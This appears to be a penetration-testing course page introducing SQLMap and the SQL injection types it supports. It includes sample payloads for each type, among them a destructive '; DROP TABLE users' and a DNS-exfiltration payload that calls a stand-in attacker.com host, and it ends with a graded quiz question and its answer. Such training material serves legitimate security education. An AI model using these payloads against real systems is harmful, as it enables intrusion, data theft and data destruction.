SQLMap Overview

SQLMap is a free and open-source penetration testing tool written in Python that automates the process of detecting and exploiting SQL injection (SQLi) flaws. SQLMap has been continuously developed since 2006 and is still maintained today.

SQLMap Overview

```
MisaelMacias@htb[/htb]$ python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.3.10.41#dev}
|_ -| . ['] |  .'| . |
|___|_  ["]|_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end use

[*] starting at 12:55:56

[12:55:56] [INFO] testing connection to the target URL
[12:55:57] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[12:55:58] [INFO] testing if the target URL content is stable
[12:55:58] [INFO] target URL content is stable
[12:55:58] [INFO] testing if GET parameter 'id' is dynamic
[12:55:58] [INFO] confirming that GET parameter 'id' is dynamic
[12:55:59] [INFO] GET parameter 'id' is dynamic
[12:55:59] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:56:00] [INFO] testing for SQL injection on GET parameter 'id'
<...SNIP...>
```

SQLMap comes with a powerful detection engine, numerous features, and a broad range of options and switches for fine-tuning the many aspects of it, such as:

Target connection	Injection detection	Fingerprinting
Enumeration	Optimization	Protection detection and bypass using "tamper" scripts
Database content retrieval	File system access	Execution of the operating system (OS) commands

SQLMap Installation

SQLMap is pre-installed on your Pwnbox, and the majority of security-focused operating systems. SQLMap is also found on many Linux Distributions' libraries. For example, on Debian, it can be installed with:

SQLMap Overview

```
MisaelMacias@htb[/htb]$ sudo apt install sqlmap
```

If we want to install manually, we can use the following command in the Linux terminal or the Windows command line:

SQLMap Overview

```
MisaelMacias@htb[/htb]$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
```

After that, SQLMap can be run with:

SQLMap Overview

```
MisaelMacias@htb[/htb]$ python sqlmap.py
```

Supported Databases

SQLMap has the largest support for DBMSes of any other SQL exploitation tool. SQLMap fully supports the following DBMSes:

MySQL	Oracle	PostgreSQL	Microsoft SQL Server
SQLite	IBM DB2	Microsoft Access	Firebird
Sybase	SAP MaxDB	Informix	MariaDB
HSQLDB	CockroachDB	TiDB	MemSQL
H2	MonetDB	Apache Derby	Amazon Redshift
Vertica, Mckoi	Presto	Altibase	MimerSQL
CrateDB	Greenplum	Drizzle	Apache Ignite
Cubrid	InterSystems Cache	IRIS	eXtremeDB
FrontBase			

The SQLMap team also works to add and support new DBMSes periodically.

Supported SQL Injection Types

Cheat Sheet

Go to Questions

Table of Contents

Getting Started

SQLMap Overview

Getting Started with SQLMap

SQLMap Output Description

Building Attacks

Running SQLMap on an HTTP Request

Handling SQLMap Errors

Attack Tuning

Database Enumeration

Database Enumeration

Advanced Database Enumeration

Advanced SQLMap Usage

Bypassing Web Application Protections

OS Exploitation

Skills Assessment

Skills Assessment

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left

SQLMap is the only penetration testing tool that can properly detect and exploit all known SQLi types. We see the types of SQL injections supported by SQLMap with the `sqlmap -hh` command:

SQLMap Overview

```
MisaelMacias@htb[/htb]$ sqlmap -hh
...SNIP...
  Techniques:
    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
```

The technique characters `BEUSTQ` refers to the following:

- `B`: Boolean-based blind
- `E`: Error-based
- `U`: Union query-based
- `S`: Stacked queries
- `T`: Time-based blind
- `Q`: Inline queries

Boolean-based blind SQL Injection

Example of `Boolean-based blind SQL Injection`:

Code: sql

```
AND 1=1
```

SQLMap exploits `Boolean-based blind SQL Injection` vulnerabilities through the differentiation of `TRUE` from `FALSE` query results, effectively retrieving 1 byte of information per request. The differentiation is based on comparing server responses to determine whether the SQL query returned `TRUE` or `FALSE`. This ranges from fuzzy comparisons of raw response content, HTTP codes, page titles, filtered text, and other factors.

- `TRUE` results are generally based on responses having none or marginal difference to the regular server response.
- `FALSE` results are based on responses having substantial differences from the regular server response.
- `Boolean-based blind SQL Injection` is considered as the most common SQLi type in web applications.

Error-based SQL Injection

Example of `Error-based SQL Injection`:

Code: sql

```
AND GTID_SUBSET(@@version,0)
```

If the `database management system` (`DBMS`) errors are being returned as part of the server response for any database-related problems, then there is a probability that they can be used to carry the results for requested queries. In such cases, specialized payloads for the current DBMS are used, targeting the functions that cause known misbehaviors. SQLMap has the most comprehensive list of such related payloads and covers `Error-based SQL Injection` for the following DBMSes:

MySQL	PostgreSQL	Oracle
Microsoft SQL Server	Sybase	Vertica
IBM DB2	Firebird	MonetDB

Error-based SQLi is considered as faster than all other types, except UNION query-based, because it can retrieve a limited amount (e.g., 200 bytes) of data called "chunks" through each request.

UNION query-based

Example of `UNION query-based SQL Injection`:

Code: sql

```
UNION ALL SELECT 1,@@version,3
```

With the usage of `UNION`, it is generally possible to extend the original (`vulnerable`) query with the injected statements' results. This way, if the original query results are rendered as part of the response, the attacker can get additional results from the injected statements within the page response itself. This type of SQL injection is considered the fastest, as, in the ideal scenario, the attacker would be able to pull the content of the whole database table of interest with a single request.

Stacked queries

Example of `Stacked Queries`:

Code: sql

```
; DROP TABLE users
```

Stacking SQL queries, also known as the "piggy-backing," is the form of injecting additional SQL statements after the vulnerable one. In case that there is a requirement for running non-query statements (e.g. `INSERT`, `UPDATE` or `DELETE`), stacking must be supported by the vulnerable platform (e.g., `Microsoft SQL Server` and `PostgreSQL` support it by default). SQLMap can use such vulnerabilities to run non-query statements executed in advanced features (e.g., execution of OS commands) and data retrieval similarly to time-based blind SQLi types.

Time-based blind SQL Injection

Example of `Time-based blind SQL Injection`:

Code: sql

```
AND 1=IF(2>1,SLEEP(5),0)
```

The principle of `Time-based blind SQL Injection` is similar to the `Boolean-based blind SQL Injection`, but here the response time is used as the source for the differentiation between `TRUE` or `FALSE`.

- `TRUE` response is generally characterized by the noticeable difference in the response time compared to the regular server response
- `FALSE` response should result in a response time indistinguishable from regular response times

`Time-based blind SQL Injection` is considerably slower than the boolean-based blind SQLi, since queries resulting in `TRUE` would delay the server response. This SQLi type is used in cases where `Boolean-based blind SQL Injection` is not applicable. For example, in case the vulnerable SQL statement is a non-query (e.g. `INSERT`, `UPDATE` or `DELETE`), executed as part of the auxiliary functionality without any effect to the page rendering process, time-based SQLi is used out of the necessity, as `Boolean-based blind SQL Injection` would not really work in this case.

Inline queries

Example of `Inline Queries`:

Code: sql

```
SELECT (SELECT @@version) from
```

This type of injection embedded a query within the original query. Such SQL injection is uncommon, as it needs the vulnerable web app to be written in a certain way. Still, SQLMap supports this kind of SQLi as well.

Out-of-band SQL Injection

Example of `Out-of-band SQL Injection`:

Code: sql

```
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))
```

This is considered one of the most advanced types of SQLi, used in cases where all other types are either unsupported by the vulnerable web application or are too slow (e.g., time-based blind SQLi). SQLMap supports out-of-band SQLi through "DNS exfiltration," where requested queries are retrieved through DNS traffic.

By running the SQLMap on the DNS server for the domain under control (e.g. `.attacker.com`), SQLMap can perform the attack by forcing the server to request non-existent subdomains (e.g. `foo.attacker.com`), where `foo` would be the SQL response we want to receive. SQLMap can then collect these erroring DNS requests and collect the `foo` part, to form the entire SQL response.

Enable step-by-step solutions for all questions

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

+1 What's the fastest SQLi type?

UNION query-based

Submit

Next →

Mark Complete & Next